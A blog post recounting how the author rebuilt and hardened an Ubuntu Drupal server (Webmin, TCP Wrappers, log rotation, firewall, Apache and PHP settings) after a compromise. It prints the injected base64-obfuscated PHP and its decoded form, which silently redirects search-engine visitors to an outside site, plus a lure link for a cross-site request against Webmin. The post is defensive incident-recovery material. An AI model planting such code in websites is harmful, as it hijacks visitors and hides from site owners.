Securing my Ubuntu Drupal install
Recently, my Drupal 7 has been compromised: most PHP files in /sites/all (the directory where Drupal store user modules and themes) have been modified and fed with that string:
eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwogJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKICRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsKJHVhZz0kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107CiBpZiAoJHVhZykgewppZiAoc3RyaXN0cigkcmVmZXJlciwieWFuZGV4Iikgb3Igc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImdvZ28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpb3Igc3RyaXN0cigkcmVmZXJlciwiYXBvcnQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJuaWdtYSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiYWlkdS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJkb3VibGVjbGljay5uZXQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiZWd1bi5ydSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInN0dW1ibGV1cG9uLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpdC5seSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInRpbnl1cmwuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiY2xpY2tiYW5rLm5ldCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJsb2dzcG90LmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CiBpZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewogaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL3Byc25icmsub3NhLnBsLyIpOwogZXhpdCgpOwogfQogfQp9Cgl9"));
Here is the obfuscated code:
error_reporting(0);
$qazplm=headers_sent();
if( ! $qazplm ) {
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if( $uag ) {
if( stristr( $referer,"yandex") or stristr( $referer,"yahoo" ) or stristr( $referer,"google" ) or stristr( $referer,"bing" ) or stristr( $referer,"rambler" ) or stristr( $referer,"gogo" )
or stristr( $referer,"live.com" ) or stristr( $referer,"aport" ) or stristr( $referer,"nigma" ) or stristr( $referer,"webalta" ) or stristr( $referer,"baidu.com" )
or stristr( $referer,"doubleclick.net" ) or stristr( $referer,"begun.ru" ) or stristr( $referer,"stumbleupon.com" ) or stristr( $referer,"bit.ly" ) or stristr( $referer,"tinyurl.com" )
or stristr( $referer,"clickbank.net" ) or stristr( $referer,"blogspot.com" ) or stristr( $referer,"myspace.com" ) or stristr( $referer,"facebook.com" ) or stristr( $referer,"aol.com" ) ) {
if( ! stristr( $referer,"cache" ) or ! stristr( $referer,"inurl" ) ){
header("Location: http://prsnbrk.osa.pl/");
exit();
}
}
}
}
This code test the referer, and if it holds a well known site (facebook, yahoo, google, ...), it redirects the user to http://prsnbrk.osa.pl/. But if you directly type the url, you see nothing. So, if someone search for my site on Google, it will be redirected... Viciously effective...
My 1&1 server was more a dev platform (athome-training.com ...) than a true production ready server. Security was not a priority, and violate my server had to be a pleasure ... Obviously, I did not care to properly manage my log files, making forensic analysis impossible ...
I did so a factory reset, rebuild everything from the ground, reading as much as I can, and taking notes about what I do. Here is the account of my road to security... If you see something wrong, please, comment ;)
Webmin / Virtualmin
I am a webmin big fan. Within less an hour, you can have a full lamp stack!
But all is not secure by default and some settings must be adapted. Joe Cooper at linuxjunkies.org write a great and long tutorial about webmin, with a chapter on security. It's a good starting point. Webmin has a security alert page, check-it regularly. There is a security FAQ on virtualmin, with some important topic...
First, we need to automatically install security update (on the home page, click on Virtualmin Package) :

Then, we should disable unused feature. On the left frame, click on System Settings, then Features and Plugins, and disable ProFTPd.
FTP is not encrypted, and anyone with a packet sniffer can capture important data. Will use sftp, ftp over ssh, which is encrypted.
Webmin might be opened to XSS attack, with some malicous link like:
<a href="https://localhost:10000/mysql/edit_dbase.cgi?db=mysql">Scarlett Johanson nude</a>...
We should enable referrer check, with an empty "trusted websites" list (in Webmin, Webmin Configuration, Trusted Referrers) :

Webmin allows some module to be opened anonymously (...), check that this list is empty (in Webmin, Webmin Configuration, Anonymous Module Access):

Now, it's time to configure Webmin authentication
Virtualmin use https by default, but if not, you should enable it, in Webmin, Webmin Configuration, SSL Encryption.
Next, go to Authentication:

We might not fail the login form more than 3 times. If not, see /etc/webmin/miniser.conf and the deny line, or change your password from ssh...
It's important to log to syslog (/var/log/auth.log), as we'll use fail2ban to block attempt with iptable. There's a page in Webmin where we can monitor who is currently locked: Blocked Hosts And Users in Webmin Configuration.
The final security measure is to only allow login from a given ip, in Webmin Configuration, IP Access Control.
But, I don't have a fixed one, my ip is allocated dynamically from my ISP, and I don't want to open my home network with dyndns.
So, I use TCPWrappers :

From Wikipedia:
TCP Wrapper is a host-based Networking ACL system, used to filter network access to Internet Protocol servers on (Unix-like) operating systems such as Linux or BSD. It allows host or subnetwork IP addresses, names and/or ident query replies, to be used as tokens on which to filter for access control purposes.
TCPWrappers reads
- /etc/hosts.allow
- /etc/hosts.deny
to block or allow some ip / domain to services / process. Here is a screenshot, with TCP Wrappers in action :
![]()
My hosts.allow is as follow :
sshd: my-current-ip
webmin: my-current-ip
...
And hosts.deny :
sshd : ALL
webmin : ALL
Be careful not to lock yourself out! 1&1 provides panel with a file editor that allow me to unblock myself if my IP change...
If you want to learn more about TCP Wrappers, there is a great tutorial on cyberciti.biz.
Denyhost, another tool that we'll use soon, use hosts.deny to block hackers.
You can edit TCP Wrappers directly within Webmin in Webmin, Networking, TCP Wrappers.
Password
I am the only administrator of the server, so I don't care about weak password. I use lastpass to generate strong one, here is an example: 8Z5N88dHh3ZkU77k7Dv*9KXSb...
But if you have a multi-user platform, you should care about password policy...
Logging
Logs on a server is a matter of balance. We must record all system actions, but not pollute the hard drive with unnecessary files ...
Logrotate is the main tool for managing logs files, and Webmin can handle everything, both system logs and webmin actions.
Webmin Configuration, Logging :

It's important to keep log files small, even if like me you log everything, to ease analysis. There is 2 tools on Ubuntu that handle log rotation : logrotate and sysklogd. Both use cron to trigger rotation.
I am a bit confused about cron. First, I thought log rotation never occur, only when I manualy start it within webmin. Then, I think there is too many files:
- /etc/crontab
- /etc/cron.d
- anacron directory /etc/cron.daily, /etc/cron.hourly, ...
- /var/spool/cron/crontabs
System logs files (/var/log/auth.log, syslog, user.log, ...) are handled by /etc/cron.daily/sysklogd, and all other logs (apache, webmin vhost, mysql, ...) by logrotate. Has I said, I had to edit some file to get a working rotation.
In /etc/crontab (keep a safe copy before editing):
# m h dom mon dow user command
15 * * * * root run-parts --report /etc/cron.hourly
0 8 * * * root run-parts --report /etc/cron.daily
50 2 * * 7 root run-parts --report /etc/cron.weekly
47 3 9 * * root run-parts --report /etc/cron.monthly
# I removed then /etc/cron.daily/sysklogd and created a logrotate file for systems logs (/etc/logrotate.d/sysklogd):
/var/log/auth.log /var/log/daemon.log /var/log/debug /var/log/kern.log /var/log/lpr.log /var/log/mail.warn /var/log/mail.err /var/log/mail.log /var/log/mail.info /var/log/messages /var/log/news/news.notice /var/log/news/news.crit /var/log/news/news.err /var/log/syslog /var/log/user.log {
postrotate
/etc/init.d/sysklogd reload > /dev/null
endscript
size 10485760
rotate 26
compress
delaycompress
notifempty
nomissingok
sharedscripts
} Next, in the Webmin Ui, edit logrotate configs files and set a size limit, like 104857600 bytes (eg 100mb).
You should test you config, set a ridiculous small size limit, change the cron.daily shedule, and see if your log is rotated.
If you want to lean more, there is a great logrotate getting started guide on slicehost.
Networking and firewall
First, we'll begin with some network audit. The perfect tool is lsof:
sudo lsof -i -n -P | grep LIST lsof means "list open files". Grep filters results, selects the one with "LISTEN" inside. -i for IP sockets (without, you'll see all opened files...). -n for no dns (do not resolve hostname) and -P to get the port number, not the port name.
Another well known command is Netstat:
netstat -a Here is a screenshot of the lsof result in the Aptana console:

I hide PID (process id), because I guess showing that it's not really secure ...
What we saw here:
- the network is under control, only well known servers are running
- some process are running as root, which is never a good idea
- mysql, postgres, memcache are only listening on localhost
There is an Ui in Webmin to control running process. You should know them all! You can found it in Webmin, System, Running Processes.
Have a look to at System, Bootup and Shutdown.
Disable init script for service you don't use, to prevent bad surprises...
Webmin can run a firewall initialisation wizard I find very effective (just click the "Reset Firewall" button).
To use it, we must know the network interface from which the network traffic comes from.
Here's how the network is configured on my virtual server :

Now, we must check firewall rules.
Webmin provides a nice ui which avoids having to edit iptables rules by hand :

Zenmap is a GUI to the well known network scanner NMap. We'll use it to test open port from outside the server :

Apache / PHP
One of the best introductions I've read about securing Apache, is the book by Ivan Ristic from O'Reilly :
First, we'll disable some dangerous module and enable some other

Ivan Ristic recommends disabling these modules :
- mod_userdir can allow an attacker to guess system users names
- mod_info exposes w
- eb server configuration
- mod_status exposes real time apache metrics
- mod_include allows server side includes (SSI)
You can of course enable these usefull modules, but be attentive to their configuration.
In contrast, these modules will be useful to secure our server:
- mod_rewrite allows to hide server directory tree
- mod_headers allows to change http headers
- mod_security and mod_evasive are two importants security module. Mod_Security filter http content, Mod_Evasive is a DOS blocker (and many more)
- suexec allows Apache to be executed as another user (generally, the vhost owner)
Webmin and Ubuntu do most of the work in the background :
- setting up the server user account (www-data)
- set apache binary file permission (only root must have access)
- configure secure default:
#from Apache Security, Ivan Ristic
<Directory />
Order Deny,Allow
Deny from all
</Directory>
<Directory /var/www/htdocs>
Order Allow,Deny
Allow from all
</Directory> Some settings are important:
In /etc/apache2/conf.d/security
ServerTokens Minimal (configures what you return as the Server HTTP response Header)

ServerSignature Off
We must then configure each apache virtual host . Here is the default vhost code generated by Webmin :
<VirtualHost 87.XXX.XXX.XXX:80>
SuexecUserGroup "#10XX" "#10XX"
ServerName your-server.com
ServerAlias www.your-server.com
ServerAlias webmail.your-server.com
ServerAlias admin.your-server.com
DocumentRoot /home/your-server.com/public_html
ErrorLog /var/log/virtualmin/your-server.com_error_log
CustomLog /var/log/virtualmin/your-server.com_access_log combined
ScriptAlias /cgi-bin/ /home/your-server.com/cgi-bin/
ScriptAlias /awstats/ /home/your-server.com/cgi-bin/
DirectoryIndex index.html index.htm index.php index.php4 index.php5
<Directory /home/your-server.com/public_html>
Options -Indexes +IncludesNOEXEC +FollowSymLinks +ExecCGI
allow from all
AllowOverride All
AddHandler fcgid-script .php
AddHandler fcgid-script .php5
FCGIWrapper /home/your-server.com/fcgi-bin/php5.fcgi .php
FCGIWrapper /home/your-server.com/fcgi-bin/php5.fcgi .php5
</Directory>
<Directory /home/your-server.com/cgi-bin>
allow from all
</Directory>
RewriteEngine on
RewriteCond %{HTTP_HOST} =webmail.your-server.com
RewriteRule ^(.*) https://your-server.com:20000/ [R]
RewriteCond %{HTTP_HOST} =admin.your-server.com
RewriteRule ^(.*) https://your-server.com:10000/ [R]
RemoveHandler .php
RemoveHandler .php5
IPCCommTimeout 31
<Files awstats.pl>
AuthName "your-server.com statistics"
AuthType Basic
AuthUserFile /home/your-server.com/.awstats-htpasswd
require valid-user
</Files>
</VirtualHost> And here the code I use in production :
<VirtualHost 87.XXX.XXX.XXX:80>
SuexecUserGroup "#10XX" "#10XX"
ServerName your-server.com
DocumentRoot /home/your-user/public_html
ErrorLog /var/log/virtualmin/your-server.com_error_log
CustomLog /var/log/virtualmin/your-server.com_access_log combined
DirectoryIndex index.html index.php
<Directory /home/your-user/public_html>
Options -Indexes -Includes +SymLinksIfOwnerMatch +ExecCGI
allow from all
AllowOverride All
AddHandler fcgid-script .php
FCGIWrapper /home/your-user/fcgi-bin/php5.fcgi .php
</Directory>
RewriteEngine on
RemoveHandler .php
IPCCommTimeout 31
</VirtualHost> What did I change?
- Removed old CGI interface (useless)
- Removed AWStats access (view report only from within Webmin)
- Allow Symlinks, but only if owner match
- Disable Server Side Include
Now, PHP ...
Webmin use Fast-CGI to run PHP within Apache. We need to know it, because it's a bit confusing at start, and configuration directives have nothing to do with mod_php5...
We must be particularly vigilant:
- register_globals
- allow_url_fopen
- dynamic module loading (enable_dl)
- expose_php
- open_basedir
- error logging
- memory limit
- file upload
- session security
- safe mode
- systems functions execution
Hopefully, a tool can test our PHP config for us, PHPSecInfo. You just have to upload it, run it, and you can see a complete report:

Log monitoring tools
to be continued
...
Drupal config
...
Securing linux users and SSH
...
